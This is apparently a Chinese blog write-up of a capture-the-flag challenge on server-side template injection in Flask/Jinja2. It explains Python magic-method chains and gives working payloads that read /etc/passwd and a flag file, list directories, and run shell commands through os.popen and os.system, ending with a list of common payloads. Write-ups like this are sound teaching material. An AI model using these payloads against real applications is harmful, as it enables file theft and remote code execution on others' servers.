Web_python_template_injection(Python模块注入)

116 篇文章 20 订阅
5 篇文章 0 订阅
文章讲述了模板注入的概念,特别是在Jinja2和Flask框架中的应用。通过`render_template_string`的不当使用,可能导致敏感操作如读取文件(如`/etc/passwd`)和执行命令。文章列举了利用`__class__`,`__mro__`,`__subclasses__`等魔术方法来查找和利用类的子类,特别是`<typefile>`和`<classsite._Printer>`类型,用于文件读取和命令执行。最后,文章提供了几个常见的payload示例来展示如何利用这些漏洞。
摘要由CSDN通过智能技术生成

打开链接,提示是Python的模块注入

我们先了解一些基本概念:

 模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。

在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。 

首先我们检测一下是否存在模板注入

{{10+20}}

 可以看到确实被执行了

还是先介绍一些知识

几种常用于ssti的魔术方法:

__class__  返回类型所属的对象

__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析

__base__   返回该对象所继承的基类

(__base__和__mro__都是用来寻找基类的)

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__  类的初始化方法

__globals__  对包含函数全局变量的字典的引用

__builtins__  builtins就是引用

Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。

在python 里 [] 表示空列表,()表示空元组,{}表示空字典 对字典、列表、元祖的
取值均使用变量名 x[index or key] 的形式。

获取基类的几种方法:
[].__class__.__base__

''.__class__.__mro__[2]

().__class__.__base__

{}.__class__.__base__

request.__class__.__mro__[8]   

[].__class__.__bases__[0]  

获取基本类的子类
[].__class__.__base__.__subclasses__()

我们可以利用的方法有<type 'file'>等(甚至file一般是第40号)

 ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

首先我们查找Object类 {{''.__class__.__mro__[?]}}

发现 {{''.__class__.__mro__[2]}} 是Object类

 寻找可用引用 {{''.__class__.__mro__[2].__subclasses__()}}

可以看到有一个type file类型(可以进行文件读取)

尝试利用file类读取文件

[40]是tupe file类型出现位置,前面共有40个逗号,是第四十一个,索引值为 40 , 索引从0开始

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

 能够正常回显,说明file类执行正常。

试着读取 /flag 类似的文件,服务器返回500,因为不知道具体文件名

但这里还有一个 <class ‘site._Printer’>类型(可以进行命令执行)

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

[71]为<class ‘site._Printer’>出现位置

知道文件名后我们读取flag

(采用os模块的listdir函数来读取目录,可以配合file来实现任意文件读取)

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

三个常用payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()


''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')


''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()


 


 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值